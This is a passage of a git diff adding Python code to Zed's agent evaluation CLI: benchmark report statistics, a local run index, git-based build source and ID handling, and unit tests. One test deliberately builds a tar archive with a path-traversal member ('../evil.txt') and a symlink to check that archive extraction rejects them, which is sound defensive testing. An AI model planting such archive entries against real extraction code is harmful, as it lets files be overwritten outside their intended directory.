+    status: str | None = None
+    model: str | None = None
+    # True when the agent's result.json was found (i.e. the trial produced
+    # metrics). False for trials hard-killed on timeout before writing it.
+    has_result: bool = False
+
+    @property
+    def effective_tokens(self) -> float:
+        return (
+            ET_INPUT * self.input_tokens
+            + ET_CACHE_READ * self.cache_read_input_tokens
+            + ET_CACHE_CREATION * self.cache_creation_input_tokens
+            + ET_OUTPUT * self.output_tokens
+        )
+
+    @property
+    def total_tokens(self) -> int:
+        return (
+            self.input_tokens
+            + self.output_tokens
+            + self.cache_read_input_tokens
+            + self.cache_creation_input_tokens
+        )
+
+
+def extract_trial(
+    trial_dir: Path, *, timeout_is_failure: bool = False
+) -> TrialRecord | None:
+    harbor_result = load_harbor_trial_result(trial_dir)
+    if harbor_result is None:
+        return None
+
+    passed, error_reason = trial_verdict(
+        harbor_result, timeout_is_failure=timeout_is_failure
+    )
+    record = TrialRecord(
+        task_name=harbor_result.get("task_name") or trial_dir.name,
+        started_at=harbor_result.get("started_at"),
+        passed=passed,
+        error_reason=error_reason,
+    )
+
+    zed_result = load_zed_result(trial_dir)
+    if zed_result:
+        record.has_result = True
+        record.status = zed_result.get("status")
+        record.model = zed_result.get("model")
+        record.input_tokens = int(zed_result.get("input_tokens") or 0)
+        record.output_tokens = int(zed_result.get("output_tokens") or 0)
+        record.cache_read_input_tokens = int(
+            zed_result.get("cache_read_input_tokens") or 0
+        )
+        record.cache_creation_input_tokens = int(
+            zed_result.get("cache_creation_input_tokens") or 0
+        )
+        duration = zed_result.get("duration_secs")
+        if isinstance(duration, (int, float)):
+            record.duration_secs = float(duration)
+        # The canonical metrics source: counts eval-cli writes into result.json.
+        if isinstance(zed_result.get("step_count"), int):
+            record.step_count = zed_result["step_count"]
+        if isinstance(zed_result.get("tool_call_count"), int):
+            record.total_tool_calls = zed_result["tool_call_count"]
+        if isinstance(zed_result.get("tool_calls"), dict):
+            record.tool_calls = {
+                str(name): int(count)
+                for name, count in zed_result["tool_calls"].items()
+                if isinstance(count, int)
+            }
+
+    return record
+
+
+def sample_sem(values: list[float]) -> float | None:
+    n = len(values)
+    if n < 2:
+        return None
+    mean = sum(values) / n
+    return math.sqrt(sum((x - mean) ** 2 for x in values) / (n * (n - 1)))
+
+
+def pass_rate_with_sem(
+    scored: list[TrialRecord],
+) -> tuple[float | None, float | None, int]:
+    """Pass rate grouped by task. With >=2 attempts per task the rate is the
+    mean of per-attempt pass rates with sample SEM across attempts; otherwise
+    it's the plain rate (SEM undefined)."""
+    if not scored:
+        return None, None, 0
+    by_task: dict[str, list[TrialRecord]] = defaultdict(list)
+    for trial in scored:
+        by_task[trial.task_name].append(trial)
+    for attempts in by_task.values():
+        attempts.sort(key=lambda t: t.started_at or "")
+
+    max_attempts = max(len(attempts) for attempts in by_task.values())
+    if max_attempts < 2:
+        rate = sum(1 for t in scored if t.passed) / len(scored)
+        return rate, None, 1
+
+    attempt_rates: list[float] = []
+    for i in range(max_attempts):
+        attempt_trials = [
+            attempts[i] for attempts in by_task.values() if len(attempts) > i
+        ]
+        if attempt_trials:
+            attempt_rates.append(
+                sum(1 for t in attempt_trials if t.passed) / len(attempt_trials)
+            )
+    if not attempt_rates:
+        return None, None, max_attempts
+    mean = sum(attempt_rates) / len(attempt_rates)
+    return mean, sample_sem(attempt_rates), max_attempts
+
+
+def _mean(values: list[float]) -> float | None:
+    return statistics.mean(values) if values else None
+
+
+def slice_metrics(records: list[TrialRecord]) -> dict[str, Any]:
+    """Mean resource usage over a set of trials (used for both the whole run
+    and the passing subset)."""
+    empty = {
+        "n": 0,
+        "n_with_metrics": 0,
+        "mean_steps": None,
+        "mean_total_tokens": None,
+        "mean_effective_tokens": None,
+        "mean_tool_calls": None,
+        "mean_tool_calls_by_tool": {},
+        "mean_duration_secs": None,
+    }
+    if not records:
+        return empty
+    # Resource means are taken only over trials that actually produced metrics
+    # (result.json present). Trials hard-killed on timeout count toward the pass
+    # rate but must not drag token/step means toward zero.
+    with_result = [r for r in records if r.has_result]
+    steps = [float(r.step_count) for r in records if r.step_count is not None]
+    tool_totals = [
+        float(r.total_tool_calls) for r in records if r.total_tool_calls is not None
+    ]
+    per_tool_sum: Counter[str] = Counter()
+    for record in with_result:
+        per_tool_sum.update(record.tool_calls)
+    per_tool_n = len(with_result)
+    durations = [r.duration_secs for r in records if r.duration_secs is not None]
+    return {
+        "n": len(records),
+        "n_with_metrics": len(with_result),
+        "mean_steps": _mean(steps),
+        "mean_total_tokens": _mean([float(r.total_tokens) for r in with_result]),
+        "mean_effective_tokens": _mean([r.effective_tokens for r in with_result]),
+        "mean_tool_calls": _mean(tool_totals),
+        "mean_tool_calls_by_tool": (
+            {
+                name: per_tool_sum[name] / per_tool_n
+                for name in sorted(per_tool_sum, key=lambda n: -per_tool_sum[n])
+            }
+            if per_tool_n
+            else {}
+        ),
+        "mean_duration_secs": _mean(durations),
+    }
+
+
+def build_report(
+    job_dir: Path,
+    *,
+    label: str | None = None,
+    timeout_is_failure: bool = False,
+) -> dict[str, Any]:
+    records = [
+        record
+        for trial_dir in find_trial_dirs(job_dir)
+        if (record := extract_trial(trial_dir, timeout_is_failure=timeout_is_failure))
+        is not None
+    ]
+    scored = [r for r in records if r.passed is not None]
+    errored = [r for r in records if r.passed is None]
+    passing = [r for r in scored if r.passed]
+    pass_rate, pass_sem, n_attempts = pass_rate_with_sem(scored)
+
+    models = Counter(r.model for r in records if r.model)
+    statuses = Counter(r.status for r in records if r.status)
+
+    return {
+        "label": label or job_dir.name,
+        "job_dir": str(job_dir),
+        "n_trials": len(records),
+        "n_scored": len(scored),
+        "n_passed": len(passing),
+        "n_failed": len(scored) - len(passing),
+        "n_errored": len(errored),
+        "n_attempts": n_attempts,
+        "pass_rate": pass_rate,
+        "pass_sem": pass_sem,
+        "resolved_models": dict(models),
+        "agent_statuses": dict(statuses),
+        # The headline numbers the user asked for: resource usage conditioned on
+        # success, with the overall slice alongside for comparison.
+        "on_success": slice_metrics(passing),
+        "overall": slice_metrics(scored),
+        "errored_trials": [
+            {"task_name": r.task_name, "reason": r.error_reason} for r in errored
+        ],
+    }
+
+
+def _fmt(value: float | None, places: int = 1) -> str:
+    return "n/a" if value is None else f"{value:,.{places}f}"
+
+
+def _fmt_rate(rate: float | None, sem: float | None) -> str:
+    if rate is None:
+        return "n/a"
+    if sem is None:
+        return f"{rate * 100:.1f}%"
+    return f"{rate * 100:.1f}% ± {sem * 100:.1f}"
+
+
+def format_report(report: dict[str, Any]) -> str:
+    lines: list[str] = []
+    lines.append(f"# {report['label']}")
+    lines.append("")
+    lines.append(
+        f"- Success rate: {_fmt_rate(report['pass_rate'], report['pass_sem'])} "
+        f"({report['n_passed']}/{report['n_scored']} scored; "
+        f"{report['n_errored']} errored)"
+    )
+    if report["resolved_models"]:
+        models = ", ".join(
+            f"{name} x{count}" for name, count in report["resolved_models"].items()
+        )
+        lines.append(f"- Models: {models}")
+    lines.append("")
+
+    on_success = report["on_success"]
+    overall = report["overall"]
+    lines.append("| Metric (mean) | On success | Overall (scored) |")
+    lines.append("| --- | --- | --- |")
+    lines.append(
+        f"| Steps | {_fmt(on_success['mean_steps'])} | {_fmt(overall['mean_steps'])} |"
+    )
+    lines.append(
+        f"| Total tokens | {_fmt(on_success['mean_total_tokens'], 0)} "
+        f"| {_fmt(overall['mean_total_tokens'], 0)} |"
+    )
+    lines.append(
+        f"| Effective tokens | {_fmt(on_success['mean_effective_tokens'], 0)} "
+        f"| {_fmt(overall['mean_effective_tokens'], 0)} |"
+    )
+    lines.append(
+        f"| Tool calls | {_fmt(on_success['mean_tool_calls'])} "
+        f"| {_fmt(overall['mean_tool_calls'])} |"
+    )
+    lines.append(
+        f"| Duration (s) | {_fmt(on_success['mean_duration_secs'])} "
+        f"| {_fmt(overall['mean_duration_secs'])} |"
+    )
+    lines.append("")
+
+    if on_success["mean_tool_calls_by_tool"]:
+        lines.append("Tool calls by tool (mean per passing trial):")
+        lines.append("")
+        lines.append("| Tool | On success | Overall (scored) |")
+        lines.append("| --- | --- | --- |")
+        overall_by_tool = overall["mean_tool_calls_by_tool"]
+        for name, value in on_success["mean_tool_calls_by_tool"].items():
+            lines.append(
+                f"| {name} | {_fmt(value, 2)} | {_fmt(overall_by_tool.get(name), 2)} |"
+            )
+        lines.append("")
+
+    if report["errored_trials"]:
+        lines.append(f"Errored trials ({len(report['errored_trials'])}):")
+        for entry in report["errored_trials"][:20]:
+            lines.append(f"  - {entry['task_name']}: {entry['reason']}")
+        if len(report["errored_trials"]) > 20:
+            lines.append(f"  ... and {len(report['errored_trials']) - 20} more")
+        lines.append("")
+
+    return "\n".join(lines)
+
+
+def locate_job_dir(args: Any) -> Path:
+    """Resolve the fetched Harbor/Pier job directory for a `report` invocation,
+    fetching it first when asked."""
+    job_dir = getattr(args, "job_dir", None)
+    if job_dir:
+        return Path(job_dir)
+
+    run_id = getattr(args, "run_id", None)
+    if not run_id:
+        raise ValueError("provide a run_id or --job-dir")
+    jobs_dir = Path(getattr(args, "jobs_dir", Path.home() / ".cache/harbor/jobs"))
+    candidate = jobs_dir / run_id
+
+    if getattr(args, "fetch", False) or not candidate.exists():
+        # Reuse the existing fetch command to download + extract the archive.
+        from .volume import command_fetch
+
+        command_fetch(args)
+    if not candidate.exists():
+        raise ValueError(
+            f"no fetched job at {candidate}. Run `zed-eval fetch {run_id} "
+            f"--experiment-name <benchmark>` first, or pass --job-dir."
+        )
+    return candidate
+
+
+def _timeout_is_failure(args: Any) -> bool:
+    """Agent timeouts count as failures on test-scored benchmarks. Derived from
+    the benchmark's scoring (via --experiment-name), with an explicit override."""
+    override = getattr(args, "timeouts_as_failures", None)
+    if override is not None:
+        return bool(override)
+    from . import benchmarks
+
+    experiment = getattr(args, "experiment_name", None)
+    benchmark = benchmarks.BENCHMARKS.get(experiment) if experiment else None
+    return bool(benchmark and benchmark.scoring == benchmarks.SCORING_TESTS)
+
+
+def _fill_run_location_from_index(args: Any) -> None:
+    """Backfill --experiment-name/--namespace from the local run index so a bare
+    run id is enough for `report`. Best-effort and only fills what's missing."""
+    run_id = getattr(args, "run_id", None)
+    if not run_id or getattr(args, "experiment_name", None):
+        return
+    from . import run_index
+
+    entry = run_index.lookup(run_id)
+    if not entry:
+        return
+    args.experiment_name = entry.get("experiment_name")
+    if not getattr(args, "namespace", None):
+        args.namespace = entry.get("namespace")
+
+
+def command_report(args: Any) -> int:
+    _fill_run_location_from_index(args)
+    job_dir = locate_job_dir(args)
+    label = getattr(args, "experiment_name", None) or getattr(args, "run_id", None)
+    report = build_report(
+        job_dir, label=label, timeout_is_failure=_timeout_is_failure(args)
+    )
+    if getattr(args, "as_json", False):
+        print(json.dumps(report, indent=2))
+    else:
+        print(format_report(report))
+    return 0
diff --git a/crates/eval_cli/zed_eval/run_index.py b/crates/eval_cli/zed_eval/run_index.py
new file mode 100644
index 00000000000000..7fcd6864c078b5
--- /dev/null
+++ b/crates/eval_cli/zed_eval/run_index.py
@@ -0,0 +1,168 @@
+"""Local, launch-time index of runs started from this machine.
+
+Every launch writes a tiny record mapping a run id to where it lives on the
+volume (namespace + experiment) plus a little metadata. This lets `status`,
+`logs`, `fetch`, `report`, and `rejudge` locate a run from just its id, so the
+operator no longer has to repeat `--namespace`/`--experiment-name`.
+
+It is deliberately best-effort: a missing, unreadable, or unwritable index never
+blocks a launch and never crashes a lookup. Commands that can't find a run in
+the index fall back to the explicit `--experiment-name`/`--namespace` flags with
+a friendly hint.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import tempfile
+from pathlib import Path
+from typing import Any
+
+INDEX_VERSION = 1
+MAX_ENTRIES = 500
+REQUIRED_FIELDS = ("run_id", "namespace", "experiment_name")
+OPTIONAL_FIELDS = (
+    "volume",
+    "agent_model",
+    "judge_preset",
+    "build_id",
+    "suite_id",
+    "kind",
+    "created_at",
+)
+
+
+def index_path() -> Path:
+    override = os.environ.get("AGENT_EVALS_RUN_INDEX")
+    if override:
+        return Path(override).expanduser()
+    cache_home = os.environ.get("XDG_CACHE_HOME")
+    base = Path(cache_home).expanduser() if cache_home else Path.home() / ".cache"
+    return base / "agent-evals" / "run-index.json"
+
+
+def _string_field(data: dict[str, Any], field: str) -> str | None:
+    value = data.get(field)
+    if value is None:
+        return None
+    value = str(value)
+    return value if value else None
+
+
+def _normalize_entry(data: dict[str, Any]) -> dict[str, Any] | None:
+    entry = {}
+    for field in REQUIRED_FIELDS:
+        value = _string_field(data, field)
+        if value is None:
+            return None
+        entry[field] = value
+    for field in OPTIONAL_FIELDS:
+        value = data.get(field)
+        if value is not None:
+            entry[field] = value
+    return entry
+
+
+def _load_entries() -> list[dict[str, Any]]:
+    try:
+        data = json.loads(index_path().read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return []
+    raw_entries = data.get("runs") if isinstance(data, dict) else data
+    if not isinstance(raw_entries, list):
+        return []
+
+    entries = []
+    for raw_entry in raw_entries:
+        if not isinstance(raw_entry, dict):
+            continue
+        entry = _normalize_entry(raw_entry)
+        if entry is not None:
+            entries.append(entry)
+    return entries
+
+
+def _entry_from_request(run_request: dict[str, Any]) -> dict[str, Any] | None:
+    entry = _normalize_entry(
+        {
+            "run_id": run_request.get("run_id"),
+            "namespace": run_request.get("namespace"),
+            "experiment_name": run_request.get("experiment_name"),
+            "volume": run_request.get("volume_name"),
+            "agent_model": run_request.get("agent_model"),
+            "judge_preset": run_request.get("judge_preset"),
+            "build_id": run_request.get("build_id"),
+            "suite_id": run_request.get("suite_id"),
+            "kind": run_request.get("kind"),
+            "created_at": run_request.get("created_at"),
+        }
+    )
+    return entry
+
+
+def _write_entries(entries: list[dict[str, Any]]) -> None:
+    path = index_path()
+    payload = json.dumps({"version": INDEX_VERSION, "runs": entries}, indent=2) + "\n"
+    path.parent.mkdir(parents=True, exist_ok=True)
+    temporary_path: Path | None = None
+    try:
+        with tempfile.NamedTemporaryFile(
+            "w",
+            encoding="utf-8",
+            dir=path.parent,
+            prefix=f".{path.name}.",
+            suffix=".tmp",
+            delete=False,
+        ) as temporary_file:
+            temporary_path = Path(temporary_file.name)
+            temporary_file.write(payload)
+        os.replace(temporary_path, path)
+    except OSError:
+        if temporary_path is not None:
+            temporary_path.unlink(missing_ok=True)
+        raise
+
+
+def record_run(run_request: dict[str, Any]) -> None:
+    """Append (or refresh) the index entry for a launched run.
+
+    Accepts the same request dict the controller is spawned with. Silently does
+    nothing if the essential fields are missing or the index can't be written —
+    bookkeeping must never abort a launch.
+    """
+    entry = _entry_from_request(run_request)
+    if entry is None:
+        return
+
+    entries = [
+        item for item in _load_entries() if item.get("run_id") != entry["run_id"]
+    ]
+    entries.append(entry)
+    entries = entries[-MAX_ENTRIES:]
+    try:
+        _write_entries(entries)
+    except OSError:
+        pass
+
+
+def lookup(run_id: str | None) -> dict[str, Any] | None:
+    """Return the most recently recorded entry for `run_id`, if any."""
+    if not run_id:
+        return None
+    for entry in reversed(_load_entries()):
+        if entry["run_id"] == run_id:
+            return entry
+    return None
+
+
+def recent(limit: int = 20) -> list[dict[str, Any]]:
+    """Return up to `limit` most-recent entries, newest first."""
+    if limit <= 0:
+        return []
+    return list(reversed(_load_entries()[-limit:]))
+
+
+def most_recent() -> dict[str, Any] | None:
+    entries = recent(1)
+    return entries[0] if entries else None
diff --git a/crates/eval_cli/zed_eval/source.py b/crates/eval_cli/zed_eval/source.py
new file mode 100644
index 00000000000000..dbdb054604db4a
--- /dev/null
+++ b/crates/eval_cli/zed_eval/source.py
@@ -0,0 +1,332 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import os
+import re
+import subprocess
+from pathlib import Path
+from typing import Any
+
+BUILD_SCHEMA_VERSION = "agent-evals-build-v3"
+SOURCE_SCHEMA_VERSION = "agent-evals-source-v1"
+BUILD_TARGET = "x86_64-unknown-linux-musl"
+BUILD_IMAGE_RECIPE_VERSION = "agent-evals-build-image-v1"
+RUST_VERSION = "1.95.0"
+RUST_IMAGE_TAG = f"rust:{RUST_VERSION}"
+RUST_IMAGE_DIGEST = (
+    "sha256:f49565f188ee00bc2a18dd418183f2c5f23ef7d6e691890517ed341a598f67c3"
+)
+RUST_IMAGE = f"{RUST_IMAGE_TAG}@{RUST_IMAGE_DIGEST}"
+ZIG_VERSION = "0.15.2"
+CARGO_ZIGBUILD_VERSION = "0.22.3"
+DEFAULT_REPO_URL = os.environ.get(
+    "AGENT_EVALS_REPO_URL", "https://github.com/zed-industries/zed.git"
+)
+
+
+def package_root() -> Path:
+    return Path(__file__).resolve().parent
+
+
+def eval_cli_root() -> Path:
+    return package_root().parent
+
+
+def repo_root() -> Path:
+    try:
+        result = subprocess.run(
+            ["git", "rev-parse", "--show-toplevel"],
+            cwd=eval_cli_root(),
+            check=True,
+            capture_output=True,
+            text=True,
+        )
+        return Path(result.stdout.strip())
+    except (OSError, subprocess.CalledProcessError):
+        return eval_cli_root().parents[1]
+
+
+def git_output(args: list[str], cwd: Path | None = None) -> str:
+    result = subprocess.run(
+        ["git", *args],
+        cwd=cwd or repo_root(),
+        check=True,
+        capture_output=True,
+        text=True,
+    )
+    return result.stdout.strip()
+
+
+def git_bytes(args: list[str], cwd: Path | None = None) -> bytes:
+    result = subprocess.run(
+        ["git", *args],
+        cwd=cwd or repo_root(),
+        check=True,
+        capture_output=True,
+    )
+    return result.stdout
+
+
+def git_path_list(args: list[str]) -> list[str]:
+    data = git_bytes([*args, "-z"])
+    return [path.decode("utf-8") for path in data.split(b"\0") if path]
+
+
+def current_base_sha() -> str:
+    return git_output(["rev-parse", "HEAD"])
+
+
+def commit_present(sha: str) -> bool:
+    """Whether `sha` resolves to a commit object in the local repo."""
+    result = subprocess.run(
+        ["git", "-C", repo_root(), "cat-file", "-e", f"{sha}^{{commit}}"],
+        capture_output=True,
+    )
+    return result.returncode == 0
+
+
+def base_sha_on_main(base_sha: str, repo_url: str) -> bool:
+    """Whether `base_sha` is reachable from origin/main.
+
+    Resolves origin/main's tip against the remote (so it doesn't depend on the
+    caller's possibly-stale local refs), fetching main if the objects aren't
+    present locally, then checks ancestry. Raises only when the main tip can't be
+    made available locally (a network/remote problem), so callers can
+    distinguish that from a definitive "not on main".
+    """
+    main_sha = resolve_remote_ref(repo_url, "main")
+    if base_sha.lower() == main_sha.lower():
+        return True
+    if not (commit_present(base_sha) and commit_present(main_sha)):
+        subprocess.run(
+            ["git", "-C", repo_root(), "fetch", "--quiet", repo_url, "main"],
+            capture_output=True,
+        )
+    if not commit_present(main_sha):
+        raise RuntimeError(
+            f"origin/main tip {main_sha[:12]} unavailable locally after fetch"
+        )
+    if not commit_present(base_sha):
+        # Not present even after pulling main's history -> not reachable from main.
+        return False
+    ancestry = subprocess.run(
+        ["git", "-C", repo_root(), "merge-base", "--is-ancestor", base_sha, main_sha],
+        capture_output=True,
+    )
+    if ancestry.returncode in (0, 1):
+        return ancestry.returncode == 0
+    raise RuntimeError(
+        (ancestry.stderr or b"").decode(errors="replace").strip()
+        or "git merge-base --is-ancestor failed"
+    )
+
+
+def resolve_git_ref(ref: str) -> str:
+    return git_output(["rev-parse", "--verify", f"{ref}^{{commit}}"])
+
+
+_FULL_SHA_RE = re.compile(r"[0-9a-fA-F]{40}")
+
+
+def resolve_remote_ref(repo_url: str, ref: str) -> str:
+    """Resolve a git ref/tag/branch/SHA to a canonical commit SHA against the
+    *remote* repo, so the resulting build id is identical for every launcher
+    regardless of what they happen to have fetched locally.
+
+    A full 40-char SHA is already canonical and is returned (lowercased) without
+    a network call. For named refs and tags this uses `git ls-remote`, preferring
+    the peeled commit of an annotated tag.
+    """
+    if _FULL_SHA_RE.fullmatch(ref):
+        return ref.lower()
+    output = git_output(
+        [
+            "ls-remote",
+            repo_url,
+            ref,
+            f"refs/tags/{ref}",
+            f"refs/heads/{ref}",
+        ]
+    )
+    entries: list[tuple[str, str]] = []
+    for line in output.splitlines():
+        sha, _, name = line.partition("\t")
+        if sha and name:
+            entries.append((name, sha))
+    # An annotated tag yields both the tag object and a peeled "<ref>^{}" entry
+    # pointing at the underlying commit; the commit is what we want to build.
+    for name, sha in entries:
+        if name.endswith("^{}"):
+            return sha
+    if entries:
+        return entries[0][1]
+    raise ValueError(
+        f"could not resolve ref '{ref}' against {repo_url}. "
+        "Push the commit/tag, or pass a full commit SHA."
+    )
+
+
+def current_ref_name() -> str | None:
+    try:
+        ref_name = git_output(["rev-parse", "--abbrev-ref", "HEAD"])
+    except (OSError, subprocess.CalledProcessError):
+        return None
+    return None if ref_name == "HEAD" else ref_name
+
+
+def current_tracked_patch(base_sha: str) -> str:
+    result = subprocess.run(
+        ["git", "diff", "--binary", base_sha],
+        cwd=repo_root(),
+        check=True,
+        capture_output=True,
+    )
+    return result.stdout.decode("utf-8")
+
+
+def read_patch(patch_path: str | None, base_sha: str, *, clean: bool = False) -> str:
+    if clean:
+        return ""
+    if not patch_path:
+        return current_tracked_patch(base_sha)
+    return Path(patch_path).read_text()
+
+
+def untracked_files() -> list[str]:
+    return git_path_list(["ls-files", "--others", "--exclude-standard"])
+
+
+def sha256_text(text: str) -> str:
+    return hashlib.sha256(text.encode()).hexdigest()
+
+
+def format_untracked_warning(files: list[str]) -> str:
+    preview = "\n".join(f"  - {path}" for path in files[:20])
+    if len(files) > 20:
+        preview += f"\n  ... and {len(files) - 20} more"
+    return (
+        "untracked files are present and will NOT be included in the build patch.\n"
+        "Commit/remove them, or pass --allow-untracked to proceed anyway.\n"
+        f"{preview}"
+    )
+
+
+def prepare_build_source(
+    *,
+    base_sha: str | None,
+    patch_path: str | None,
+    allow_untracked: bool,
+    require_clean: bool,
+    repo_url: str | None,
+    clean: bool = False,
+    source_label: str | None = None,
+    pre_resolved_base_sha: str | None = None,
+) -> tuple[dict[str, Any], str]:
+    # `pre_resolved_base_sha` is a canonical SHA already resolved against the
+    # remote (see `resolve_remote_ref`); it must be used verbatim because the
+    # launcher may not have that commit fetched locally to `rev-parse`.
+    if pre_resolved_base_sha:
+        resolved_base_sha = pre_resolved_base_sha
+    elif base_sha:
+        resolved_base_sha = resolve_git_ref(base_sha)
+    else:
+        resolved_base_sha = current_base_sha()
+    resolved_repo_url = repo_url or DEFAULT_REPO_URL
+    patch = read_patch(patch_path, resolved_base_sha, clean=clean)
+    patch_sha256 = sha256_text(patch) if patch.strip() else None
+    untracked = [] if clean else untracked_files()
+    is_dirty = bool(patch.strip())
+
+    if untracked and not allow_untracked:
+        raise ValueError(format_untracked_warning(untracked))
+
+    if require_clean and is_dirty:
+        raise ValueError(
+            "tracked changes are present. Commit or stash them, or omit --require-clean."
+        )
+
+    return {
+        "schema": SOURCE_SCHEMA_VERSION,
+        "type": "git_patch",
+        "repo_url": resolved_repo_url,
+        "base_sha": resolved_base_sha,
+        "base_ref": source_label or (base_sha if clean else current_ref_name()),
+        "patch_sha256": patch_sha256,
+        "is_dirty": is_dirty,
+        "patch_path": "source.patch" if patch.strip() else None,
+        "untracked_files": untracked,
+        "untracked_files_included": False,
+        "allow_untracked": allow_untracked,
+        "require_clean": require_clean,
+        "clean_source": clean,
+    }, patch
+
+
+def public_source_info(source_info: dict[str, Any]) -> dict[str, Any]:
+    return dict(source_info)
+
+
+def build_toolchain_info(
+    *,
+    target: str = BUILD_TARGET,
+    rust_image: str = RUST_IMAGE,
+    zig_version: str = ZIG_VERSION,
+    cargo_zigbuild_version: str = CARGO_ZIGBUILD_VERSION,
+) -> dict[str, str]:
+    return {
+        "build_image_recipe_version": BUILD_IMAGE_RECIPE_VERSION,
+        "target": target,
+        "rust_version": RUST_VERSION,
+        "rust_image": rust_image,
+        "rust_image_tag": RUST_IMAGE_TAG,
+        "rust_image_digest": RUST_IMAGE_DIGEST,
+        "zig_version": zig_version,
+        "cargo_zigbuild_version": cargo_zigbuild_version,
+    }
+
+
+def compute_build_id(
+    *,
+    source_info: dict[str, Any],
+    target: str = BUILD_TARGET,
+    rust_image: str = RUST_IMAGE,
+    zig_version: str = ZIG_VERSION,
+    cargo_zigbuild_version: str = CARGO_ZIGBUILD_VERSION,
+) -> str:
+    payload = {
+        "schema": BUILD_SCHEMA_VERSION,
+        "source_type": "git_patch",
+        "base_sha": source_info["base_sha"],
+        "patch_sha256": source_info["patch_sha256"],
+        **build_toolchain_info(
+            target=target,
+            rust_image=rust_image,
+            zig_version=zig_version,
+            cargo_zigbuild_version=cargo_zigbuild_version,
+        ),
+    }
+    digest = hashlib.sha256(json.dumps(payload, sort_keys=True).encode()).hexdigest()
+    return f"bld-{digest[:20]}"
+
+
+def sanitize_namespace(value: str) -> str:
+    sanitized = re.sub(r"[^A-Za-z0-9_.-]+", "-", value.strip().lower()).strip("-.")
+    return sanitized or "default"
+
+
+def default_namespace() -> str:
+    configured = os.environ.get("AGENT_EVALS_NAMESPACE")
+    if configured:
+        return sanitize_namespace(configured)
+
+    try:
+        email = git_output(["config", "user.email"])
+        if email:
+            return sanitize_namespace(email.split("@", 1)[0])
+    except (OSError, subprocess.CalledProcessError):
+        pass
+
+    return sanitize_namespace(
+        os.environ.get("USER") or os.environ.get("LOGNAME") or "default"
+    )
diff --git a/crates/eval_cli/zed_eval/tests/test_agent_common.py b/crates/eval_cli/zed_eval/tests/test_agent_common.py
new file mode 100644
index 00000000000000..d2c25a20e34d01
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_agent_common.py
@@ -0,0 +1,139 @@
+from __future__ import annotations
+
+import argparse
+import io
+import os
+import shlex
+import subprocess
+import tarfile
+import tempfile
+import unittest
+from pathlib import Path
+from unittest.mock import patch
+
+from zed_eval import common
+from zed_eval.agent_common import (
+    add_anthropic_available_models_env,
+    eval_cli_with_log_command,
+)
+
+
+class EvalCliWithLogCommandTests(unittest.TestCase):
+    def run_logged_command(self, script: str, *, timeout_message: str | None = None):
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            log_path = Path(temporary_directory) / "eval-cli.txt"
+            command = eval_cli_with_log_command(
+                ["sh", "-c", shlex.quote(script)],
+                str(log_path),
+                timeout_message=timeout_message,
+            )
+            completed = subprocess.run(
+                command,
+                shell=True,
+                capture_output=True,
+                text=True,
+            )
+            log = log_path.read_text() if log_path.exists() else ""
+            return completed, log
+
+    def test_preserves_non_timeout_exit_status_through_tee(self) -> None:
+        completed, log = self.run_logged_command("echo before-failure; exit 7")
+
+        self.assertEqual(completed.returncode, 7)
+        self.assertIn("before-failure", completed.stdout)
+        self.assertIn("before-failure", log)
+
+    def test_maps_eval_cli_timeout_exit_to_success(self) -> None:
+        completed, log = self.run_logged_command(
+            "echo partial-output; exit 2",
+            timeout_message="timeout converted",
+        )
+
+        self.assertEqual(completed.returncode, 0)
+        self.assertIn("partial-output", completed.stdout)
+        self.assertIn("timeout converted", completed.stdout)
+        self.assertIn("partial-output", log)
+        self.assertIn("timeout converted", log)
+
+
+class EnvForwardingTests(unittest.TestCase):
+    def test_anthropic_available_models_env_is_added(self) -> None:
+        env: dict[str, str] = {}
+        add_anthropic_available_models_env(env, '[{"name":"model"}]')
+
+        self.assertEqual(env["ZED_ANTHROPIC_AVAILABLE_MODELS"], '[{"name":"model"}]')
+
+    def test_configure_modal_environment_sets_documented_secret_env(self) -> None:
+        args = argparse.Namespace(
+            app_name="app",
+            volume="volume",
+            modal_token_secret="modal-secret",
+            api_secret="llm-secret",
+        )
+
+        with patch.dict(os.environ, {}, clear=False):
+            common.configure_modal_environment(args)
+
+            self.assertEqual(os.environ["AGENT_EVALS_APP_NAME"], "app")
+            self.assertEqual(os.environ["AGENT_EVALS_VOLUME"], "volume")
+            self.assertEqual(
+                os.environ["AGENT_EVALS_MODAL_TOKEN_SECRET"], "modal-secret"
+            )
+            self.assertEqual(
+                os.environ["AGENT_EVALS_LLM_PROVIDERS_SECRET"], "llm-secret"
+            )
+
+
+class SafeExtractArchiveTests(unittest.TestCase):
+    def make_archive(
+        self, archive_path: Path, member_name: str, data: bytes = b"data"
+    ) -> None:
+        with tarfile.open(archive_path, "w:gz") as archive:
+            info = tarfile.TarInfo(member_name)
+            info.size = len(data)
+            archive.addfile(info, io.BytesIO(data))
+
+    def test_extracts_normal_members(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            root = Path(temporary_directory)
+            archive_path = root / "archive.tar.gz"
+            destination = root / "out"
+            destination.mkdir()
+            self.make_archive(archive_path, "job/result.json", b"{}")
+
+            with tarfile.open(archive_path, "r:gz") as archive:
+                common.safe_extract_archive(archive, destination)
+
+            self.assertEqual((destination / "job" / "result.json").read_text(), "{}")
+
+    def test_rejects_path_traversal_members(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            root = Path(temporary_directory)
+            archive_path = root / "archive.tar.gz"
+            destination = root / "out"
+            destination.mkdir()
+            self.make_archive(archive_path, "../evil.txt")
+
+            with tarfile.open(archive_path, "r:gz") as archive:
+                with self.assertRaises(ValueError):
+                    common.safe_extract_archive(archive, destination)
+
+    def test_rejects_links(self) -> None:
+        with tempfile.TemporaryDirectory() as temporary_directory:
+            root = Path(temporary_directory)
+            archive_path = root / "archive.tar.gz"
+            destination = root / "out"
+            destination.mkdir()
+            with tarfile.open(archive_path, "w:gz") as archive:
+                info = tarfile.TarInfo("link")
+                info.type = tarfile.SYMTYPE
+                info.linkname = "/tmp/target"
+                archive.addfile(info)
+
+            with tarfile.open(archive_path, "r:gz") as archive:
+                with self.assertRaises(ValueError):
+                    common.safe_extract_archive(archive, destination)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/crates/eval_cli/zed_eval/tests/test_baseline.py b/crates/eval_cli/zed_eval/tests/test_baseline.py
new file mode 100644
index 00000000000000..d1652897b36df9
--- /dev/null
+++ b/crates/eval_cli/zed_eval/tests/test_baseline.py
@@ -0,0 +1,36 @@
